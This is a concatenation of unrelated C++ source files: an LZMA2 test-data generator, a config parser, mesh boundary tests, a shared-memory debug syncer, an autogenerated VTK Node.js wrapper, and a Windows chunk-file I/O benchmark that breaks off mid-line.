ReadImpl(void *p, void *buf, size_t *size) { static_cast(p)->DoRead(buf, *size); return SZ_OK; } std::function DoRead; }; struct OutStream : ISeqOutStream { std::ostream* os; OutStream(std::ostream& out) : os(&out) { Write = WriteImpl; } // Returns: result - the number of actually written bytes. (result < size) means error static size_t WriteImpl(void *p, const void *buf, size_t size) { static_cast(p)->os->write((const char*)buf, size); return size; } }; template void lzma2_encode(F f, std::ostream& out, unsigned& properties) { auto enc = Lzma2Enc_Create(&alloc, &alloc); if (enc == 0) throw std::bad_alloc(); CLzma2EncProps props; Lzma2EncProps_Init(&props); auto res = Lzma2Enc_SetProps(enc, &props); if (res != SZ_OK) throw std::runtime_error("failed to set LZMA encoder properties"); properties = Lzma2Enc_WriteProperties(enc); InStream inStream(f); OutStream outStream(out); res = Lzma2Enc_Encode(enc, &outStream, &inStream, nullptr); if (res != SZ_OK) throw std::runtime_error("encode failed"); Lzma2Enc_Destroy(enc); } std::string lzma2_encode(const char* str, size_t available, unsigned& properties) { std::stringstream ss; lzma2_encode([&](void* buf, size_t& size) { if (size > available) size = available; memcpy(buf, str, size); str += size; available -= size; } , ss, properties); return ss.str(); } struct TestGenerator { template void operator()(std::string testName, SeqGen&& seqGen) { std::cout << testName << " : "; auto path = testName + ".lzma2"; std::ofstream ofs(path, std::ios_base::trunc | std::ios_base::binary); if (!ofs) throw std::runtime_error("failed to rewrite output file"); ofs.put(0); // reserve space for properties unsigned props; lzma2_encode(seqGen, ofs, props); ofs.seekp(0); ofs.put(static_cast(props)); ofs.close(); std::cout << "OK\n"; } }; #include "../test_data_seq.hpp" int main() { TestGenerator testGen; run_tests(testGen); } nouiz/rudra-dist1-10 #include "rudra/util/Parser.h" #include #include #include #include namespace rudra { int Parser::lineno = 0; Parser::Parser() { //nothing to do _nblocks = 0; } Parser::Parser(std::string fname){ _fname = fname; _nblocks = 0; std::string s = _fname; _fhandle.open(s.c_str(),std::ios::in); if(!_fhandle){ rudra::Logger::logFatal("Parser: Could not open file: " + s); } } void Parser::parseFile(){ Parser::lineno =0; rudra::Logger::logInfo("Parser: Parsing file: " + _fname + " ... "); std::string line; while(!_fhandle.eof()){ // continue till the end of file getline(_fhandle,line); Parser::lineno++; if(isBlankLine(line) || isCommentLine(line)) continue; removeComments(line); if(line.find('{') < line.npos){ parseBlock(); _nblocks ++; } } std::ostringstream msg; msg << "Parser: Parsed a total of " << _nblocks << " block(s)"; rudra::Logger::logInfo(msg.str()); _fhandle.close(); } void Parser::parseBlock(){ std::string line; content p; _params.push_back(p); getline(_fhandle,line); Parser::lineno++; while(line.find('}')==line.npos){ if(isBlankLine(line) || isCommentLine(line)) { getline(_fhandle,line); Parser::lineno++; continue; } removeComments(line); parseLine(line); getline(_fhandle,line); Parser::lineno++; } } void Parser::parseLine(std::string line){ if(!isValidLine(line)){ std::ostringstream msg; msg << " invalid line number " << Parser::lineno << "\t" << line; rudra::Logger::logFatal(msg.str()); } _params[_nblocks].insert(std::pair(extractKey(line),extractValue(line))); } void removeComments (std::string& line){ if(line.find('#')!=line.npos) line.erase(line.find('#')); } bool isBlankLine (std::string line){ return(line.find_first_not_of(' ') == line.npos); } bool isCommentLine (std::string line){ return(line[line.find_first_not_of(' ')] == '#'); } bool isValidLine (std::string line){ std::string temp = line; if(temp.find('=') == line.npos){ rudra::Logger::logError("Parser: Invalid line, Missing \'=\' in "); return false; } temp.erase(0,temp.find_first_not_of("\t ")); if(temp[0]== '='){ rudra::Logger::logError("Parser: Invalid line, Missing key in "); return false; } for (size_t i = temp.find('=') + 1; i < temp.length(); ++i) { if(temp[i]!= ' '){ return true; } } rudra::Logger::logError("Parser: Invalid line, Missing value in "); return false; } std::string extractKey(std::string line){ std::string temp = line.substr(0,line.find('=')); temp.erase(0,temp.find_first_not_of("\t ")); temp.erase(temp.find_last_not_of("\t ") + 1); return temp; } std::string extractValue(std::string line){ std::string temp = line.substr(line.find('=')+1,line.length()-1); temp.erase(0,temp.find_first_not_of("\t ")); temp.erase(temp.find_last_not_of("\t ") + 1); return temp; } void writeFile(std::string path, std::string file, std::vector params){ std::string s = path + file; std::fstream fhandle; fhandle.open(s.c_str(),std::ios::out); for (size_t i = 0; i < params.size(); ++i) { fhandle << "\n{" << std::endl; content::iterator it = params[i].begin(); for(content::iterator it = params[i].begin(); it != params[i].end(); it++){ fhandle << it->first << "="<second << std::endl; } fhandle << "}" << std::endl; } } }; #include "boundary.hpp" #include "catch_wrapper.hpp" #include #include using namespace sme; TEST_CASE("Boundary", "[core/mesh/boundary][core/mesh][core][boundary]") { SECTION("Loop") { // points that make up the loop std::vector points{{0, 0}, {2, 0}, {3, 1}, {1, 3}, {0, 3}, {-1, 2}, {-1, 1}}; // 3-point approximation to loop std::vector p3{ {0, 0}, {3, 1}, {1, 3}, }; // 4-point approximation to loop std::vector p4{ {0, 0}, {3, 1}, {1, 3}, {-1, 2}, }; mesh::Boundary boundary(points, true); REQUIRE(boundary.isValid() == true); REQUIRE(boundary.isLoop() == true); // use all points boundary.setMaxPoints(999); REQUIRE(boundary.getMaxPoints() == 999); REQUIRE(boundary.getPoints() == points); // use 3 points for boundary boundary.setMaxPoints(3); REQUIRE(boundary.getMaxPoints() == 3); REQUIRE(boundary.getPoints() == p3); // automatically determine number of points auto nPoints = boundary.setMaxPoints(); REQUIRE(boundary.getMaxPoints() == nPoints); REQUIRE(nPoints == 4); REQUIRE(boundary.getPoints() == p4); } SECTION("Non-loop") { // points that make up the boundary line std::vector points{{0, 0}, {2, 0}, {3, 1}, {4, 1}, {4, 2}, {5, 3}, {5, 4}}; // 4-point approximation to line std::vector p4{{0, 0}, {2, 0}, {4, 1}, {5, 4}}; // 3-point approximation to line std::vector p3{{0, 0}, {4, 1}, {5, 4}}; mesh::Boundary boundary(points, false); REQUIRE(boundary.isValid() == true); REQUIRE(boundary.isLoop() == false); // use all points boundary.setMaxPoints(999); REQUIRE(boundary.getMaxPoints() == 999); REQUIRE(boundary.getPoints() == points); // use 3 points for boundary boundary.setMaxPoints(3); REQUIRE(boundary.getMaxPoints() == 3); REQUIRE(boundary.getPoints() == p3); // automatically determine number of points auto nPoints = boundary.setMaxPoints(); REQUIRE(boundary.getMaxPoints() == nPoints); REQUIRE(nPoints == 4); REQUIRE(boundary.getPoints() == p4); } } #include "ce2/modules/pe/player_debug.hpp" CE_BEGIN_MOD_PE_NAMESPACE namespace { SharedMemory baseMem; SharedMemory pixelsMem; bool check_clear_flag(uint32_t i) { if (!!(baseMem->status_flags & i)) { baseMem->status_flags &= ~i; return true; } else return false; } constexpr uint64_t FLAG_TIMEOUT = 5000; } void PDSyncer::Init() { baseMem.open(MemNms::base); } void PDSyncer::Cleanup() { baseMem.close(); } bool PDSyncer::SyncFrame() { WaitForFlag(PDSyncFlags::EDITOR_SYNCED, true); if (!!(baseMem->status_flags & PDSyncFlags::KILL)) { Debug::Message("Syncer", "Received kill signal! Exiting ..."); volatile auto flags = baseMem->status_flags; baseMem->status_flags = (flags & ~PDSyncFlags::EDITOR_SYNCED) | PDSyncFlags::APP_SYNCED; return false; } if (Display::width() != baseMem->screen_width || Display::height() != baseMem->screen_height) { Display::Resize(baseMem->screen_width, baseMem->screen_height, false); } baseMem->screen_width = Display::width(); baseMem->screen_height = Display::height(); PlayerDebug::inputState = (const Input::State&)baseMem->input_state; const volatile auto pxlsz = baseMem->screen_width * baseMem->screen_height * 4; if (pxlsz != pixelsMem.length()) { pixelsMem.open(MemNms::pixels, pxlsz); volatile auto flags = baseMem->status_flags; baseMem->status_flags = flags | PDSyncFlags::RESIZE; } glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glReadPixels(0, 0, Display::width(), Display::height(), GL_RGBA, GL_UNSIGNED_BYTE, (void*)pixelsMem.data()); volatile auto flags = baseMem->status_flags; baseMem->status_flags = (flags & ~PDSyncFlags::EDITOR_SYNCED) | PDSyncFlags::APP_SYNCED; return true; } void PDSyncer::WriteScreenOutput(const std::vector& pxls) { std::memcpy((void*)pixelsMem.data(), pxls.data(), pxls.size()); } void PDSyncer::WaitForFlag(uint32_t f, bool b) { static auto millis = Time::actualMillis(); volatile auto val = baseMem.data(); while (!(val->status_flags & f) == b) { if (Time::actualMillis() - millis > FLAG_TIMEOUT) { Debug::Error("PlayerSyncer", "timeout!"); CE_ABORT(); } } millis = Time::actualMillis(); } volatile PDSyncBaseSt& PDSyncer::GetBaseSt() { return baseMem[0]; } CE_END_MOD_PE_NAMESPACEwrappers/7.0.0/vtkPeriodicTableWrap.cc /* this file has been autogenerated by vtkNodeJsWrap */ /* editing this might proof futile */ #define VTK_WRAPPING_CXX #define VTK_STREAMS_FWD_ONLY #include #include "vtkObjectWrap.h" #include "vtkPeriodicTableWrap.h" #include "vtkLookupTableWrap.h" #include "../../plus/plus.h" using namespace v8; extern Nan::Persistent vtkNodeJsNoWrap; Nan::Persistent VtkPeriodicTableWrap::ptpl; VtkPeriodicTableWrap::VtkPeriodicTableWrap() { } VtkPeriodicTableWrap::VtkPeriodicTableWrap(vtkSmartPointer _native) { native = _native; } VtkPeriodicTableWrap::~VtkPeriodicTableWrap() { } void VtkPeriodicTableWrap::Init(v8::Local exports) { Nan::SetAccessor(exports, Nan::New("vtkPeriodicTable").ToLocalChecked(), ConstructorGetter); Nan::SetAccessor(exports, Nan::New("PeriodicTable").ToLocalChecked(), ConstructorGetter); } void VtkPeriodicTableWrap::ConstructorGetter( v8::Local property, const Nan::PropertyCallbackInfo& info) { InitPtpl(); info.GetReturnValue().Set(Nan::New(ptpl)->GetFunction()); } void VtkPeriodicTableWrap::InitPtpl() { if (!ptpl.IsEmpty()) return; v8::Local tpl = Nan::New(New); VtkObjectWrap::InitPtpl( ); tpl->Inherit(Nan::New(VtkObjectWrap::ptpl)); tpl->SetClassName(Nan::New("VtkPeriodicTableWrap").ToLocalChecked()); tpl->InstanceTemplate()->SetInternalFieldCount(1); Nan::SetPrototypeMethod(tpl, "GetAtomicNumber", GetAtomicNumber); Nan::SetPrototypeMethod(tpl, "getAtomicNumber", GetAtomicNumber); Nan::SetPrototypeMethod(tpl, "GetClassName", GetClassName); Nan::SetPrototypeMethod(tpl, "getClassName", GetClassName); Nan::SetPrototypeMethod(tpl, "GetCovalentRadius", GetCovalentRadius); Nan::SetPrototypeMethod(tpl, "getCovalentRadius", GetCovalentRadius); Nan::SetPrototypeMethod(tpl, "GetDefaultLUT", GetDefaultLUT); Nan::SetPrototypeMethod(tpl, "getDefaultLUT", GetDefaultLUT); Nan::SetPrototypeMethod(tpl, "GetDefaultRGBTuple", GetDefaultRGBTuple); Nan::SetPrototypeMethod(tpl, "getDefaultRGBTuple", GetDefaultRGBTuple); Nan::SetPrototypeMethod(tpl, "GetElementName", GetElementName); Nan::SetPrototypeMethod(tpl, "getElementName", GetElementName); Nan::SetPrototypeMethod(tpl, "GetNumberOfElements", GetNumberOfElements); Nan::SetPrototypeMethod(tpl, "getNumberOfElements", GetNumberOfElements); Nan::SetPrototypeMethod(tpl, "GetSymbol", GetSymbol); Nan::SetPrototypeMethod(tpl, "getSymbol", GetSymbol); Nan::SetPrototypeMethod(tpl, "GetVDWRadius", GetVDWRadius); Nan::SetPrototypeMethod(tpl, "getVDWRadius", GetVDWRadius); Nan::SetPrototypeMethod(tpl, "IsA", IsA); Nan::SetPrototypeMethod(tpl, "isA", IsA); Nan::SetPrototypeMethod(tpl, "NewInstance", NewInstance); Nan::SetPrototypeMethod(tpl, "newInstance", NewInstance); Nan::SetPrototypeMethod(tpl, "SafeDownCast", SafeDownCast); Nan::SetPrototypeMethod(tpl, "safeDownCast", SafeDownCast); #ifdef VTK_NODE_PLUS_VTKPERIODICTABLEWRAP_INITPTPL VTK_NODE_PLUS_VTKPERIODICTABLEWRAP_INITPTPL #endif ptpl.Reset( tpl ); } void VtkPeriodicTableWrap::New(const Nan::FunctionCallbackInfo& info) { if(!info.IsConstructCall()) { Nan::ThrowError("Constructor not called in a construct call."); return; } if(info.Length() == 0) { vtkSmartPointer native = vtkSmartPointer::New(); VtkPeriodicTableWrap* obj = new VtkPeriodicTableWrap(native); obj->Wrap(info.This()); } else { if(info[0]->ToObject() != vtkNodeJsNoWrap ) { Nan::ThrowError("Parameter Error"); return; } } info.GetReturnValue().Set(info.This()); } void VtkPeriodicTableWrap::GetAtomicNumber(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsString()) { Nan::Utf8String a0(info[0]); unsigned short r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->GetAtomicNumber( *a0 ); info.GetReturnValue().Set(Nan::New(r)); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::GetClassName(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); char const * r; if(info.Length() != 0) { Nan::ThrowError("Too many parameters."); return; } r = native->GetClassName(); info.GetReturnValue().Set(Nan::New(r).ToLocalChecked()); } void VtkPeriodicTableWrap::GetCovalentRadius(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsUint32()) { float r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->GetCovalentRadius( info[0]->Uint32Value() ); info.GetReturnValue().Set(Nan::New(r)); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::GetDefaultLUT(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsObject() && (Nan::New(VtkLookupTableWrap::ptpl))->HasInstance(info[0])) { VtkLookupTableWrap *a0 = ObjectWrap::Unwrap(info[0]->ToObject()); if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } native->GetDefaultLUT( (vtkLookupTable *) a0->native.GetPointer() ); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::GetDefaultRGBTuple(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); size_t i; if(info.Length() > 0 && info[0]->IsUint32()) { if(info.Length() > 1 && info[1]->IsFloat32Array()) { v8::Locala1(v8::Local::Cast(info[1]->ToObject())); if( a1->Length() < 3 ) { Nan::ThrowError("Array too short."); return; } if(info.Length() != 2) { Nan::ThrowError("Too many parameters."); return; } native->GetDefaultRGBTuple( info[0]->Uint32Value(), (float *)(a1->Buffer()->GetContents().Data()) ); return; } else if(info.Length() > 1 && info[1]->IsArray()) { v8::Locala1(v8::Local::Cast(info[1]->ToObject())); float b1[3]; if( a1->Length() < 3 ) { Nan::ThrowError("Array too short."); return; } for( i = 0; i < 3; i++ ) { if( !a1->Get(i)->IsNumber() ) { Nan::ThrowError("Array contents invalid."); return; } b1[i] = a1->Get(i)->NumberValue(); } if(info.Length() != 2) { Nan::ThrowError("Too many parameters."); return; } native->GetDefaultRGBTuple( info[0]->Uint32Value(), b1 ); return; } } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::GetElementName(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsUint32()) { char const * r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->GetElementName( info[0]->Uint32Value() ); info.GetReturnValue().Set(Nan::New(r).ToLocalChecked()); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::GetNumberOfElements(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); unsigned short r; if(info.Length() != 0) { Nan::ThrowError("Too many parameters."); return; } r = native->GetNumberOfElements(); info.GetReturnValue().Set(Nan::New(r)); } void VtkPeriodicTableWrap::GetSymbol(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsUint32()) { char const * r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->GetSymbol( info[0]->Uint32Value() ); info.GetReturnValue().Set(Nan::New(r).ToLocalChecked()); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::GetVDWRadius(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsUint32()) { float r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->GetVDWRadius( info[0]->Uint32Value() ); info.GetReturnValue().Set(Nan::New(r)); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::IsA(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsString()) { Nan::Utf8String a0(info[0]); int r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->IsA( *a0 ); info.GetReturnValue().Set(Nan::New(r)); return; } Nan::ThrowError("Parameter mismatch"); } void VtkPeriodicTableWrap::NewInstance(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); vtkPeriodicTable * r; if(info.Length() != 0) { Nan::ThrowError("Too many parameters."); return; } r = native->NewInstance(); VtkPeriodicTableWrap::InitPtpl(); v8::Local argv[1] = { Nan::New(vtkNodeJsNoWrap) }; v8::Local cons = Nan::New(VtkPeriodicTableWrap::ptpl)->GetFunction(); v8::Local wo = cons->NewInstance(1, argv); VtkPeriodicTableWrap *w = new VtkPeriodicTableWrap(); w->native = r; w->Wrap(wo); info.GetReturnValue().Set(wo); } void VtkPeriodicTableWrap::SafeDownCast(const Nan::FunctionCallbackInfo& info) { VtkPeriodicTableWrap *wrapper = ObjectWrap::Unwrap(info.Holder()); vtkPeriodicTable *native = (vtkPeriodicTable *)wrapper->native.GetPointer(); if(info.Length() > 0 && info[0]->IsObject() && (Nan::New(VtkObjectWrap::ptpl))->HasInstance(info[0])) { VtkObjectWrap *a0 = ObjectWrap::Unwrap(info[0]->ToObject()); vtkPeriodicTable * r; if(info.Length() != 1) { Nan::ThrowError("Too many parameters."); return; } r = native->SafeDownCast( (vtkObject *) a0->native.GetPointer() ); VtkPeriodicTableWrap::InitPtpl(); v8::Local argv[1] = { Nan::New(vtkNodeJsNoWrap) }; v8::Local cons = Nan::New(VtkPeriodicTableWrap::ptpl)->GetFunction(); v8::Local wo = cons->NewInstance(1, argv); VtkPeriodicTableWrap *w = new VtkPeriodicTableWrap(); w->native = r; w->Wrap(wo); info.GetReturnValue().Set(wo); return; } Nan::ThrowError("Parameter mismatch"); } NathanSaidas/LiteForgeMirror0 // ******************************************************************** // Copyright (c) , All rights reserved // ******************************************************************** #include "Core/Common/Types.h" #include "Core/Common/Assert.h" #include "Core/Platform/Thread.h" #include "Core/Memory/Memory.h" #include "Core/Memory/MemoryBuffer.h" #include "Core/Utility/StaticCallback.h" #include "Core/Math/Random.h" #include "Core/String/StringUtil.h" #include "Core/String/String.h" #include "Core/String/WString.h" #include "Core/String/Token.h" #include "Core/String/TokenTable.h" #include "Core/Utility/Array.h" #include "Core/Utility/Utility.h" #include "Core/Test/Test.h" #include "Runtime/Config.h" #define NOMINMAX #define WIN32_LEAN_AND_MEAN #include #include "Core/Tests/StringTest.h" #include "Core/Tests/WStringTest.h" #include "Core/Tests/ThreadTest.h" #include "Core/Tests/FileTests.h" #include "Core/Tests/PointerTest.h" #include "Core/Tests/SStreamTest.h" #include "Engine/App/Program.h" #include "Engine/App/Application.h" #include namespace lf { struct FileBuffer { Int64 mPosition; // Position in the file this buffer starts at Int64 mBufferLength; // How many bytes from the file are contained within mBuffer char* mBuffer; // The raw data of the file }; struct FilePointer { HANDLE mFileHandle; // Int64 mVirtualCursor; FileBuffer mWorkingBuffer; FileBuffer mCachedBuffer; }; class IOCompletionPort { public: IOCompletionPort() : mHandle(NULL) { } ~IOCompletionPort() { Close(); } bool Create(SizeT numConcurrentThreads = 0) { Assert(!mHandle); mHandle = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, static_cast(numConcurrentThreads)); return mHandle != NULL; } bool Close() { if (mHandle != NULL && CloseHandle(mHandle)) { mHandle = NULL; return true; } return false; } bool AddDevice(HANDLE device, ULONG_PTR completionKey) { Assert(mHandle != NULL); HANDLE handle = CreateIoCompletionPort(device, mHandle, completionKey, 0); return handle == mHandle; } bool QueuePacket(ULONG_PTR completionKey, DWORD numBytes = 0, OVERLAPPED* po = NULL) { return PostQueuedCompletionStatus(mHandle, numBytes, completionKey, po) == TRUE; } bool DequeuePacket(ULONG_PTR* completionKey, DWORD* numBytes, OVERLAPPED** po, DWORD milliseconds = INFINITE) { return GetQueuedCompletionStatus(mHandle, numBytes, completionKey, po, milliseconds) == TRUE; } private: HANDLE mHandle; }; struct OVERLAPPEDEX : OVERLAPPED { OVERLAPPEDEX(int nType = 0, char* pbBuffer = NULL, DWORD bufferLength = 0) { Internal = InternalHigh = 0; Offset = OffsetHigh = 0; hEvent = NULL; Type = nType; Buffer = pbBuffer; BufferLength = bufferLength; } int Type; char* Buffer; DWORD BufferLength; }; SizeT gSampleFileKey = 0; const SizeT IO_READ = 1001; const SizeT IO_WRITE = 1002; DWORD WINAPI IOCompletionThread(LPVOID param) { IOCompletionPort* port = reinterpret_cast(param); ULONG_PTR completionKey = 0; DWORD bytesTransferred = 0; OVERLAPPEDEX* po = NULL; while (port->DequeuePacket(&completionKey, &bytesTransferred, reinterpret_cast(&po))) { if (bytesTransferred == 0 && completionKey == 0 && NULL == po) { break; } else if (completionKey == gSampleFileKey) { continue; } switch (po->Type) { case IO_READ: printf("%d bytes were read by %lld.\n", bytesTransferred,reinterpret_cast(po)); break; case IO_WRITE: printf("%d bytes were written.\n", bytesTransferred); break; } } return 0; } const UInt16 BLOCK_INVALID_BLOCK_TYPE = 0xFFFF; const UInt16 BLOCK_MAX_BLOCK_TYPE= 0xFFFF - 1; const UInt8 BLOCK_FLAG_INDUSTRUCTIBLE = 1 << 0; const UInt8 BLOCK_FLAG_ADMIN = 1 << 1; const UInt8 BLOCK_FLAG_HIDDEN = 1 << 2; const SizeT BLOCK_CHUNK_BATCH_SIZE = 64; struct BlockStaticData { UInt16 mType; UInt8 mVariation; UInt8 mFlags; }; struct BlockChunk { BlockStaticData mBlocks[256][16][16]; }; SizeT CompareChunk(BlockChunk& a, BlockChunk& b) { SizeT errors = 0; for (SizeT y = 0; y < 256; ++y) { for (SizeT x = 0; x < 16; ++x) { for (SizeT z = 0; z < 16; ++z) { BlockStaticData& blockA = a.mBlocks[y][x][z]; BlockStaticData& blockB = b.mBlocks[y][x][z]; if (blockA.mType != blockB.mType || blockA.mFlags != blockB.mFlags || blockA.mVariation != blockB.mVariation) { ++errors; } } } } return errors; } void GenerateChunk(BlockChunk& chunk, Int32& seed) { for (SizeT y = 0; y < 256; ++y) { for (SizeT x = 0; x < 16; ++x) { for (SizeT z = 0; z < 16; ++z) { BlockStaticData& block = chunk.mBlocks[y][x][z]; block.mType = static_cast(Random::Mod(seed, BLOCK_MAX_BLOCK_TYPE)); block.mVariation = static_cast(Random::Mod(seed, 0xFF)); block.mFlags = 0; if (Random::RandF(seed) > 0.2f) { block.mFlags |= BLOCK_FLAG_INDUSTRUCTIBLE; } if (Random::RandF(seed) > 0.08f) { block.mFlags |= BLOCK_FLAG_HIDDEN; } if (Random::RandF(seed) > 0.01f) { block.mFlags |= BLOCK_FLAG_ADMIN; } } } } } void WriteChunk(BlockChunk& chunk, HANDLE file) { if (file != INVALID_HANDLE_VALUE) { void* data = reinterpret_cast(&chunk); SizeT dataLength = sizeof(BlockChunk); DWORD bytesWritten = 0; Assert(WriteFile(file, data, static_cast(dataLength), &bytesWritten, NULL) == TRUE); } } void ReadChunk(BlockChunk& chunk, HANDLE file) { if (file != INVALID_HANDLE_VALUE) { void* data = reinterpret_cast(&chunk); SizeT dataLength = sizeof(BlockChunk); DWORD bytesRead = 0; Assert(ReadFile(file, data, static_cast(dataLength), &bytesRead, NULL) == TRUE); Assert(bytesRead == dataLength); } } void CreateChunkData(const char* filename, SizeT iterations) { HANDLE file = CreateFile ( filename, GENERIC_READ | GENERIC_WRITE, 0, // Exclusive Access NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (file == INVALID_HANDLE_VALUE) { printf("Failed to create file! %s\n", filename); return; } printf("Opened file %s\n", filename); LARGE_INTEGER freq; LARGE_INTEGER begin; LARGE_INTEGER end; QueryPerformanceCounter(&begin); Int32 seed = 0x4355766F; BlockChunk chunk; for (size_t i = 0; i < iterations; ++i) { GenerateChunk(chunk, seed); WriteChunk(chunk, file); } QueryPerformanceCounter(&end); QueryPerformanceFrequency(&freq); auto ticks = end.QuadPart - begin.QuadPart; double time = static_cast(ticks) / freq.QuadPart; printf("Create Chunk Data with Iterations=%lld took %lld ticks, %f\n", iterations, ticks, time); Assert(CloseHandle(file) == TRUE); } void LoadChunkData(const char* filename, SizeT iterations) { HANDLE file = CreateFile ( filename, GENERIC_READ, 0, // Exclusive Access NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (file == INVALID_HANDLE_VALUE) { printf("Failed to open file! %s\n", filename); return; } printf("Opened file %s\n", filename); LARGE_INTEGER freq; LARGE_INTEGER begin; LARGE_INTEGER end; QueryPerformanceCounter(&begin); Int32 seed = 0x4355766F; BlockChunk generatedChunk; BlockChunk readChunk; for (SizeT i = 0; i < iterations; ++i) { GenerateChunk(generatedChunk, seed); ReadChunk(readChunk, file); SizeT compare = CompareChunk(generatedChunk, readChunk); Assert(compare == 0); } QueryPerformanceCounter(&end); QueryPerformanceFrequency(&freq); auto ticks = end.QuadPart - begin.QuadPart; double time = static_cast(ticks) / freq.QuadPart; printf("Load Chunk Data with Iterations=%lld took %lld ticks, %f\n", iterations, ticks, time); Assert(CloseHandle(file) == TRUE); } const long BATCH_STATE_QUEUED = 0; const long BATCH_STATE_PROCESSING = 1; const long BATCH_STATE_DONE = 2; const long BATCH_STATE_EMPTY = 3; struct ChunkBatchHandle { ChunkBatchHandle() : mOutputChunk(nullptr), mFileHandle(INVALID_HANDLE_VALUE), mOffset(0), mState(BATCH_STATE_EMPTY) {} BlockChunk* mOutputChunk; HANDLE mFileHandle; SizeT mOffset; volatile long mState; }; struct ChunkBatch { bool Create(const char* filename, IOCompletionPort* ioPort) { mPort = ioPort; for (SizeT i = 0; i < BLOCK_CHUNK_BATCH_SIZE; ++i) { ChunkBatchHandle& handle = mHandles[i]; Assert(handle.mFileHandle == INVALID_HANDLE_VALUE); Assert(handle.mOutputChunk == nullptr); handle.mFileHandle = CreateFile ( filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL ); if (handle.mFileHandle == INVALID_HANDLE_VALUE) { return false; } } return true; } ChunkBatchHandle mHandles[BLOCK_CHUNK_BATCH_SIZE]; IOCompletionPort* mPort; }; void LoadChunkDataParallel(const char* filename, SizeT iterations) { SYSTEM_INFO sysInfo = { 0 }; GetNativeSystemInfo(&sysInfo); DWORD numThreads = sysInfo.dwNumberOfProcessors; IOCompletionPort ioPort; if (ioPort.Create(numThreads)) { // ChunkBatch batch; (filename); (iterations); } else { printf("Failed to create IOCompletionPort\n"); } } void DisplayWorldSize() { SizeT sizeOfChunk = sizeof(BlockChunk); SizeT numChunks = 32 * 32; // 16 * 16; SizeT sizeOfWorldBytes = sizeOfChunk * numChunks; SizeT sizeOfWorldKB = sizeOfWorldBytes / 1024; SizeT sizeofWorldMB = sizeOfWorldKB / 1024; printf("Chunk Size = %lld(B)\n", sizeOfChunk); printf("World Length/Width=%d\n", 32 * 16); printf("Size Of World %lld(B)\n", sizeOfWorldBytes); printf("Size Of World %lld(KB)\n", sizeOfWorldKB); printf("Size Of World %lld(MB)\n", sizeofWorldMB); } void ReserveChunkData(const char* filename, SizeT size) { HANDLE file = CreateFile ( filename, GENERIC_READ | GENERIC_WRITE, 0, // Exclusive Access NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); bool exists = file != INVALID_HANDLE_VALUE; if (exists) { printf("File exists, deleting... %s\n", filename); Assert(CloseHandle(file) == TRUE); file = INVALID_HANDLE_VALUE; Assert(DeleteFile(filename) == TRUE); } file = CreateFile ( filename, GENERIC_READ | GENERIC_WRITE, 0, // Exclusive Access NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL ); Assert(file != INVALID_HANDLE_VALUE); printf("Reserving disk space file=%s, space=%lld\n", filename, 